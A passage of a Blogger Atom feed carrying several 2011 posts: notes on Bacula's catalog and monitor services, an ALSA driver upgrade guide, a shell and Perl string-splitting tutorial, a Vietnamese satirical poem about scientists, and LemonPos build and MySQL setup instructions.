class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;CATALOG&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The Catalog services are comprised of the software programs respo&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;nsible for maintaining the file indexes and volume databases for all files backed up. The Catalog services permit the system administrator or user to quickly locate and restore any desired file. The Catalog services sets Bacula apart from simple backup programs like tar and bru, because the catalog maintains a record of all Volumes used, all Jobs run, and all Files saved, permitting efficient restoration and Volume management. Bacula currently supports three different databases, MySQL, PostgreSQL, and SQLite, one of which must be chosen when building Bacula.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The three SQL databases currently supported (MySQL, PostgreSQL or SQLite) provide quite a number of features, including rapid indexing, arbitrary queries, and security.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Although the Bacula project plans to support other major SQL databases, the current Bacula implementation interfaces only to MySQL, PostgreSQL and SQLite. For the technical and porting details see the Catalog Services Design Document in the developer&#39;s documented.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The packages for MySQL and PostgreSQL are available for several operating systems. Alternatively, installing from the source is quite easy, see the Installing and Configuring MySQLMySqlChapter chapter of this document for the details. For more information on MySQL, please see: www.mysql.comhttp://www.mysql.com. Or see the Installing an&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;d Configuring PostgreSQLPostgreSqlChapter chapter of this document for the details. For more information on PostgreSQL, please see: www.postgresql.orghttp://www.postgresql.org.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Configuring and building SQLite is even easier. For the details of configuring SQLite, please see the Installing and Configuring SQLiteSqlLiteChapter chapter of this document.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;BACULA MONITOR&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;A Bacula Monitor service is the program that allows the administrator or user to watch current status of Bacula Directors, Bacula File Daemons and Bacula Storage Daemons. Currently, only a GTK+ version is available, which works with GNOME, KDE, or any windo&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;w manager that supports the FreeDesktop.org system tray standard.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;To perform a successful save or restore, the following four daemons must be configured and running: the Director daemon, the File daemon, the Storage daemon, and the Catalog service (MySQL, PostgreSQL or SQLite).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s1600/bacula-application-interactions.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s400/bacula-application-interactions.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5607538510413428946&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 331px; height: 400px; &quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/5347044275690543195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/5347044275690543195' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5347044275690543195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5347044275690543195'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/05/bacula-open-source-network-backup-and.html' title='Bacula - Open Source network backup and restore solution'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s72-c/bacula-application-interactions.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-7677221709362393621</id><published>2011-04-19T18:38:00.000-07:00</published><updated>2011-04-19T18:51:12.317-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ALSA Upgrade Script"/><title type='text'>ALSA Upgrade Script</title><content type='html'>The script is not in line with Debian/Ubuntu rules for package handling. It just overwrites existing files.&lt;br /&gt;You won&#39;t see any changes on the ALSA package-ids within Synaptic!&lt;br /&gt;&lt;br /&gt;The script recognizes severe problems during the installation and will stop automatically. It shouldn&#39;t mess up your setup.&lt;br /&gt;If the script stops with an error-message nothing should have been touched!&lt;br /&gt;&lt;br /&gt;In the worst case scenario the -r restore option restores your old  system status as good as possible. It&#39;ll reinstall kernel,  kernel-headers and Alsa related packages.&lt;br /&gt;&lt;br /&gt;Ubuntu upgrades/updates might overwrite your Alsa installation once in a  while (e.g. Major upgrades, kernel-upgrades or ALSA-package upgrades).&lt;br /&gt;You just need to rerun the upgrade-script using the -i option in this case (if you still have the compiled sources on the disk).&lt;br /&gt;&lt;br /&gt;Short Alsa-Upgrade script install instructions:&lt;br /&gt;&lt;br /&gt;1. download the script and save it somewhere&lt;br /&gt;2. cd &lt;your-download-dir&gt;&lt;br /&gt;3. tar xzvf AlsaUpgrade-1.0.24-2.tar.gz&lt;br /&gt;4. chmod +x AlsaUpgrade-1.0.24-2.sh&lt;br /&gt;5. sudo ./AlsaUpgrade-1.0.24-2.sh -d&lt;br /&gt;6. sudo ./AlsaUpgrade-1.0.24-2.sh -c&lt;br /&gt;7. sudo ./AlsaUpgrade-1.0.24-2.sh -i&lt;br /&gt;8. sudo shutdown -r 0&lt;br /&gt;&lt;br /&gt;Logging: I recommend to log all the upgrade steps, e.g.&lt;br /&gt;&lt;br /&gt;script -a -c &quot;./AlsaUpgrade-1.0.24-2.sh -d&quot; /tmp/Alsa_1.0.24-2_upgrade_download.log&lt;br /&gt;&lt;br /&gt;You&#39;ll find a log file /tmp/Alsa_1.0.24-2_upgrade_download.log as soon as the script is finished.&lt;br /&gt;You need to run this procedure for every single step. Choose whatever logfile names.&lt;br /&gt;&lt;br /&gt;Test and Troubleshooting&lt;br /&gt;&lt;br /&gt;After reboot you can type:&lt;br /&gt;&lt;br /&gt;cat /proc/asound/version&lt;br /&gt;&lt;br /&gt;This will let you know if you&#39;re running the new version.&lt;br /&gt;&lt;br /&gt;The easiest and most reliable test to verify if Alsa is working is  &quot;aplay&quot; - the Alsa player application. If aplay won&#39;t work -- nothing  else will work.&lt;br /&gt;&lt;br /&gt;Make sure that all your channels are unmuted and volume is up!&lt;br /&gt;&lt;br /&gt;Type in a terminal:&lt;br /&gt;$ aplay -l&lt;br /&gt;(This won&#39;t work on e.g. webcams with a microphone only. Here you need to do a $cat /proc/asound/cards to see if it is there&quot;&lt;br /&gt;&lt;br /&gt;If you see your soundcards, you&#39;re almost there.&lt;br /&gt;&lt;br /&gt;To test your first (default-index 0 X=0) soundcard, type e.g.:&lt;br /&gt;$ aplay -Dplughw:X,0 -fcd /&lt;your-music-directory&gt;/&lt;replace-this-with-your-soundfile&gt;.wav&lt;br /&gt;or e.g.&lt;br /&gt;$ speaker-test -Dplughw:X,0 -c2&lt;br /&gt;replace the X with the index of your soundcard index , which you find out by typing &quot;aplay -l&quot; - look for &quot;card X&quot;&lt;br /&gt;&lt;br /&gt;Multichannel you can test the following way:&lt;br /&gt;1. Type $aplay -L to find out about your pcm device . e.g &quot;surround51&quot;&lt;br /&gt;2. Type $speaker-test -D surround51 -c6&lt;br /&gt;Note: If the channel mapping should be wrong you need to adjust it in .asoundrc&lt;br /&gt;links :&lt;br /&gt;alsa-info.tar : http://www.mediafire.com/?ryvemykblsc15jp&lt;br /&gt;AlsaUpgrade-1.0.24-2.tar.gz : http://www.mediafire.com/?399o94by5u7bydx&lt;br /&gt;HD-Audio-Models.txt : http://www.mediafire.com/?kcvfvtzedaf14hd&lt;br /&gt;&lt;br /&gt;Source : ubuntuforum.org&lt;br /&gt;&lt;/replace-this-with-your-soundfile&gt;&lt;/your-music-directory&gt;&lt;/your-download-dir&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/7677221709362393621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/7677221709362393621' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/7677221709362393621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/7677221709362393621'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/04/alsa-upgrade-script.html' title='ALSA Upgrade Script'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-8774153744383767681</id><published>2011-04-18T00:54:00.000-07:00</published><updated>2011-04-18T01:23:40.674-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Split / Cut a String"/><title type='text'>Split / Cut a String</title><content type='html'>Some people have trouble when cutting/split string in linux/unix. This article show some simple ways to cut/split string in  shell:&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Simple&lt;/span&gt; : use &lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;cut&lt;/span&gt; :&lt;br /&gt;cut command only support cut strings with single character delemiter .&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Advance:&lt;/span&gt; you can use ksh,perl,bash shell...&lt;br /&gt;Example:&lt;br /&gt;&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;@string=blackcat.gatrong@gmail.com&lt;/span&gt;&lt;br /&gt;and i want to cut tring gmail.com( to save blackcat.gatrong in somewhere...)&lt;br /&gt;&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;echo $string|cut -d&#39;@&#39; -f2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;d&#39;@&#39;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;/span&gt;: character dememiter is @&lt;br /&gt;-&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;f2 &lt;/span&gt;: cut part 2 ( here is gmail.com)&lt;br /&gt;&lt;br /&gt;Example :&lt;br /&gt;&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;$str = &quot;abc\@hotmail.com;xyz\@gmail.com;uvw\@yahoo.com&quot;;&lt;/span&gt;&lt;br /&gt;I want to split to 3 individual email.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;@arr = split(/;/, $str);&lt;br /&gt;print &quot;first: $arr[0]\n&quot;;&lt;br /&gt;print &quot;second: $arr[1]\n&quot;;&lt;br /&gt;print &quot;third: $arr[2]\n&quot;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can do the same thing with ksh :&lt;br /&gt;&lt;blockquote style=&quot;color: rgb(255, 0, 0); font-style: italic;&quot;&gt;#!/usr/bin/ksh&lt;br /&gt;&lt;br /&gt;string=&quot;abc@hotmail.com;xyz@gmail.com;uvw@yahoo.com&quot;&lt;br /&gt;&lt;br /&gt;oIFS=&quot;$IFS&quot;; IFS=&#39;;&#39;&lt;br /&gt;set -A str $string&lt;br /&gt;IFS=&quot;$oIFS&quot;&lt;br /&gt;&lt;br /&gt;echo &quot;strings count = ${#str[@]}&quot;&lt;br /&gt;echo &quot;first : ${str[0]}&quot;;&lt;br /&gt;echo &quot;second: ${str[1]}&quot;;&lt;br /&gt;echo &quot;third : ${str[2]}&quot;;&lt;/blockquote&gt;&lt;br /&gt;With Bash shell :&lt;br /&gt;&lt;blockquote style=&quot;font-style: italic; color: rgb(255, 0, 0);&quot;&gt;string=&quot;abc@hotmail.com;xyz@gmail.com;uvw@yahoo.com&quot;&lt;br /&gt;var=$(echo $string | awk -F&quot;;&quot; &#39;{print $1,$2,$3}&#39;)  &lt;br /&gt;set -- $var&lt;br /&gt;echo $1&lt;br /&gt;echo $2&lt;br /&gt;echo $3&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/8774153744383767681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/8774153744383767681' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8774153744383767681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8774153744383767681'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/04/split-cut-string.html' title='Split / Cut a String'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-709500866192283840</id><published>2011-04-06T21:26:00.000-07:00</published><updated>2011-04-06T21:34:05.838-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="HỊCH KHOA HỌC CÔNG NGHỆ"/><title type='text'>HỊCH KHOA HỌC CÔNG NGHỆ</title><content type='html'>Khoa học đại vương Trần Công Nghệ&lt;br /&gt;Ta cùng các ngươi&lt;br /&gt;Sinh ra phải thời bao cấp&lt;br /&gt;Lớn lên gặp buổi thị trường.&lt;br /&gt;&lt;br /&gt;Trông thấy:&lt;br /&gt;Mỹ phóng Con thoi lên vũ trụ chín tầng&lt;br /&gt;Nga lặn tàu ngầm xuống đại dương nghìn thước&lt;br /&gt;Nhật đưa rô bốt na nô vào thám hiểm lòng người&lt;br /&gt;Pháp dùng công nghệ gen chế ra cừu nhân tạo.&lt;br /&gt;&lt;br /&gt;Thật khác nào:&lt;br /&gt;Đem cổ tích biến thành hiện thực&lt;br /&gt;Dùng đầu óc con người mà thay đổi thiên nhiên!&lt;br /&gt;Ta thường tới bữa quên ăn, nửa đêm vỗ gối, ruột đau như cắt, nước mắt đầm đìa&lt;br /&gt;Chỉ giận chưa thể đuổi kịp nước Nga, vượt qua nước Mỹ, mà vẫn chỉ hơn Lào, hao hao Băng la đét.&lt;br /&gt;Dẫu cho trăm thân này phơi trên sao Hỏa, nghìn xác này bọc trong tàu ngầm nguyên tử, ta cũng cam lòng.&lt;br /&gt;&lt;br /&gt;Các ngươi ở cùng ta,&lt;br /&gt;&lt;br /&gt;Học vị đã cao, học hàm không thấp&lt;br /&gt;Ăn thì chọn cá nước, chim trời&lt;br /&gt;Mặc thì lựa May Mười, Việt Tiến&lt;br /&gt;Chức nhỏ thì ta… quy hoạch&lt;br /&gt;Lương ít thì có lộc nhiều.&lt;br /&gt;Đi bộ A tít, Cam ry&lt;br /&gt;Hàng không Elai, Xi pic.&lt;br /&gt;Vào hội thảo thì cùng nhau tranh luận&lt;br /&gt;Lúc tiệc tùng thì cùng nhau “dô dô”.&lt;br /&gt;Lại còn đãi sỹ chiêu hiền&lt;br /&gt;Giáo sư, tiến sỹ, thạc sỹ, cử nhân, ai cũng có phần, không nhiều thì ít.&lt;br /&gt;Lại còn chính sách khuyến khoa&lt;br /&gt;Doanh nghiệp, giáo viên, trí thức, nông dân nhận cúp, nhận bằng còn thêm tiền thưởng.&lt;br /&gt;&lt;br /&gt;Thật là so với:&lt;br /&gt;Thời Tam quốc bên Tàu, Lưu Bị đãi Khổng Minh,&lt;br /&gt;Buổi hiện đại bên Nga, Pu tin dùng Mét vê đép,&lt;br /&gt;&lt;br /&gt;Ta nào có kém gì?&lt;br /&gt;&lt;br /&gt;Thế mà, nay các ngươi:&lt;br /&gt;Nhìn khoa học chậm tiến mà không biết lo&lt;br /&gt;Thấy công nghệ thụt lùi mà không biết thẹn&lt;br /&gt;Giáo sư ư? Biết “Thần đèn” chuyển nhà mà chẳng chạnh lòng&lt;br /&gt;Tiến sỹ a? Nghe “Hai lúa” chế tạo máy bay sao không tự ái?&lt;br /&gt;Có người lấy nhậu nhẹt làm vui&lt;br /&gt;Có kẻ lấy bạc cờ làm thích&lt;br /&gt;Ham mát xa giống nghiện “u ét đê”&lt;br /&gt;Ghét ngoại ngữ như chán phòng thí nghiệm&lt;br /&gt;Chỉ lo kiếm dự án để mánh mánh mung mung&lt;br /&gt;Không thích chọn đề tài mà nghiên nghiên cứu cứu&lt;br /&gt;Ra nước ngoài toàn muốn đi chơi&lt;br /&gt;Vào hội thảo chỉ lo ngủ gật&lt;br /&gt;Bệnh háo danh lây tựa vi rút com pu tơ&lt;br /&gt;Dịch thành tích nhiễm như cúm gà H5N1&lt;br /&gt;Mua bằng giả để tiến sỹ, tiến sy&lt;br /&gt;Đạo văn người mà giáo sư, giáo sãi.&lt;br /&gt;&lt;br /&gt;Thử hỏi học hành như rứa, bằng cấp như rứa, thì mần răng hiểu được chuyện na niếc na nô?&lt;br /&gt;Lại còn nhân cách đến vậy, đạo đức đến vậy, thì có ham gì bút bút nghiên nghiên.&lt;br /&gt;&lt;br /&gt;Cho nên&lt;br /&gt;&lt;br /&gt;“Tạp chí hay” mà bán chẳng ai mua&lt;br /&gt;“Công nghệ tốt” mà không người áp dụng.&lt;br /&gt;Đề tài đóng gáy cứng, chữ vàng, mọt kêu trong tủ sắt&lt;br /&gt;Mô hình xây tường gạch, biển xanh, chó ị giữa đồng hoang.&lt;br /&gt;Hội nhập chi, mà ngoại ngữ khi điếc, khi câm?&lt;br /&gt;Toàn cầu chi, mà kiến thức khi mờ, khi tỏ?&lt;br /&gt;Hiện đại hóa ư? vẫn bám đít con trâu&lt;br /&gt;Công nghiệp hóa ư? toàn bán thô khoáng sản&lt;br /&gt;Biển bạc ở đâu, để Vi na shin nổi nổi chìm chìm&lt;br /&gt;Rừng vàng ở đâu, khi bô xít đen đen đỏ đỏ&lt;br /&gt;&lt;br /&gt;Thật là:&lt;br /&gt;&lt;br /&gt;“Dân gần trăm triệu ai người lớn&lt;br /&gt;Nước bốn nghìn năm vẫn trẻ con”!&lt;br /&gt; &lt;br /&gt;Nay nước ta:&lt;br /&gt;&lt;br /&gt;Đổi mới đã lâu, hội nhập đã sâu&lt;br /&gt;Nội lực cũng nhiều, đầu tư cũng mạnh&lt;br /&gt;Khu vực có hòa bình, nước ta càng ổn định&lt;br /&gt;Nhân tâm giàu nhiệt huyết, pháp luật rộng hành lang&lt;br /&gt;Thách thức không ít, nhưng cơ hội là vàng!&lt;br /&gt;&lt;br /&gt;Chỉ e:&lt;br /&gt;&lt;br /&gt;Bệnh háo danh không mua nổi trí khôn&lt;br /&gt;Dịch thành tích chẳng làm nên thương hiệu.&lt;br /&gt;Giỏi mánh mung không lừa nổi đối tác nước ngoài&lt;br /&gt;Tài cờ bạc không địch nổi hắc cơ quốc tế.&lt;br /&gt;Cặp chân dài mà nghiêng ngả giáo sư&lt;br /&gt;Phong bì mỏng cũng đảo điên tiến sỹ.&lt;br /&gt;&lt;br /&gt;Hỡi ôi,&lt;br /&gt;&lt;br /&gt;Biển bạc rừng vàng, mà nghìn năm vẫn mang ách đói nghèo&lt;br /&gt;Tài giỏi thông minh, mà vạn kiếp chưa thoát vòng lạc hậu.&lt;br /&gt;&lt;br /&gt;Nay ta bảo thật các ngươi:&lt;br /&gt;&lt;br /&gt;Nên lấy việc đặt mồi lửa dưới ngòi pháo làm nguy;&lt;br /&gt;Nên lấy điều để nghìn cân treo sợi tóc làm sợ&lt;br /&gt;Phải xem đói nghèo là nỗi nhục quốc gia&lt;br /&gt;Phải lấy lạc hậu là nỗi đau thời đại&lt;br /&gt;Mà lo học tập chuyên môn&lt;br /&gt;Mà lo luyện rèn nhân cách&lt;br /&gt;&lt;br /&gt;Xê mi na khách đến như mưa&lt;br /&gt;Vào thư viện người đông như hội&lt;br /&gt;Già mẫu mực phanh thây Gan ruột, Tôn Thất Tùng chẳng phải là to&lt;br /&gt;Trẻ xông pha mổ thịt Bổ đề, Ngô Bảo Châu chỉ là chuyện nhỏ&lt;br /&gt;&lt;br /&gt;Được thế thì:&lt;br /&gt;&lt;br /&gt;Kiếm giải thưởng “Phiu” cũng chẳng khó gì&lt;br /&gt;Đoạt Nô ben không là chuyện lạ&lt;br /&gt;Không chỉ các ngươi mở mặt mở mày, lên Lơ xút, xuống Rôn roi&lt;br /&gt;Mà dân ta cũng hưng sản, hưng tâm, vào Vi la, ra Rì sọt.&lt;br /&gt;Chẳng những tông miếu ta được hương khói nghìn thu&lt;br /&gt;Mà tổ tiên các ngươi cũng được bốn mùa thờ cúng,&lt;br /&gt;Chẳng những thân ta kiếp này thỏa chí,&lt;br /&gt;Mà đến các ngươi, trăm đời sau còn để tiếng thơm.&lt;br /&gt;Chẳng những tên tuổi ta không hề mai một,&lt;br /&gt;Mà thương hiệu các ngươi cũng sử sách lưu truyền.&lt;br /&gt;Trí tuệ Việt Nam thành danh, thành tiếng&lt;br /&gt;Đất nước Việt Nam hóa hổ, hóa rồng&lt;br /&gt;&lt;br /&gt;Lúc bấy giờ các ngươi không muốn nhận huân chương, phỏng có được không?&lt;br /&gt;Nay ta chọn lọc tinh hoa bốn biển năm châu hợp thành một tuyển, gọi là Chiến lược&lt;br /&gt;Nếu các ngươi biết chuyên tập sách này theo lời ta dạy bảo thì suốt đời là nhà khoa học chính danh.&lt;br /&gt;Nhược bằng không tu thân tích trí, trái lời ta khuyên răn thì muôn kiếp là phường phàm phu tục tử.&lt;br /&gt;&lt;br /&gt;Vì:&lt;br /&gt;&lt;br /&gt;Lạc hậu, đói nghèo với ta là kẻ thù không đội trời chung&lt;br /&gt;Mà các ngươi cứ điềm nhiên không muốn trừ hung, không lo rửa nhục &lt;br /&gt;Chẳng khác nào quay mũi giáo mà đầu hàng, giơ tay không mà thua giặc.&lt;br /&gt;Nếu vậy rồi đây khi nước Việt hóa hổ, hóa rồng, ta cùng các ngươi há còn mặt mũi nào đứng trong trời đất này nữa?&lt;br /&gt;&lt;br /&gt;Cho nên mới thảo Hịch này&lt;br /&gt;Xa gần nghiên cứu&lt;br /&gt;Trên dưới đều theo!&lt;br /&gt;&lt;br /&gt;Source : unkowns</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/709500866192283840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/709500866192283840' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/709500866192283840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/709500866192283840'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/04/hich-khoa-hoc-cong-nghe.html' title='HỊCH KHOA HỌC CÔNG NGHỆ'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-6810188169204558436</id><published>2011-04-04T20:49:00.000-07:00</published><updated>2011-04-04T20:52:22.926-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Quick setup LemonPos"/><title type='text'>Quick setup LemonPos</title><content type='html'>Lemon —in short— is an open source Point of Sale software targeted for micro, small and medium businesses.&lt;br /&gt;&lt;br /&gt;For compiling lemonpos, first make sure you have kde4 installed . Then you can start compiling :&lt;br /&gt;&lt;br /&gt;cd trunk&lt;br /&gt;mkdir build&lt;br /&gt;cd build&lt;br /&gt;cmake -DCMAKE_INSTALL_PREFIX=/opt/kde4 .. #here you put your path to kde4.&lt;br /&gt;make&lt;br /&gt;su&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;When installing, you can see where it was installed, just in case you cant find a way to run lemon, write the location of the installation (the binary files are in /usr/bin or /usr/local/bin), also the menu entries are under something like “lost objects”.&lt;br /&gt;&lt;br /&gt;copy the lemonrc file to your local .kde/share/config directory:&lt;br /&gt;cp trunk/src/lemonrc /home/USER/.kde4/share/config/ #Replace USER with your username.&lt;br /&gt;&lt;br /&gt;After compiling and installing lemonpos, you must proceed to the database creation before you can login and use lemonpos.&lt;br /&gt;&lt;br /&gt;Things you will need:&lt;br /&gt;&lt;br /&gt;    * MySql Installed and ready to use.&lt;br /&gt;    * MySql’s root password&lt;br /&gt;    * The script to create the database, located in the database_resource folder from lemonpos code. If you are using lemon POS 0.6 version, the file is also installed on your /usr/share/apps/lemon/ or /usr/local/share/apps/lemon/ depending on your system and configuration. But if you use *ubuntu with lemon POS 0.5 version this file is missing for such version you can get it here&lt;br /&gt;&lt;br /&gt;This task is very simple. All you have to do is to run the script as shown below:&lt;br /&gt;&lt;br /&gt;cd trunk/database_resources&lt;br /&gt;cat lemon_mysql.sql | mysql -u root -p&lt;br /&gt;&lt;br /&gt;MySql will prompt for the password, type the mysql’s root password. If you dont know this, try searching the default password for your linux distribution.&lt;br /&gt;&lt;br /&gt;If no errors are reported, you can start using lemonpos.&lt;br /&gt;&lt;br /&gt;Now you can run lemonpos and squeeze. from your applications menu or by command. Note that if you run “lemon” and it is not found, maybe you installed at another location, try /usr/local/bin/lemon or /usr/local/bin/squeeze&lt;br /&gt;&lt;br /&gt;Source: &lt;a href=&quot;http://lemonpos.wordpress.com/quick-setup/&quot;&gt;Lemon Pos Webblog&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/6810188169204558436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/6810188169204558436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6810188169204558436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6810188169204558436'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/04/quick-setup-lemonpos.html' title='Quick setup 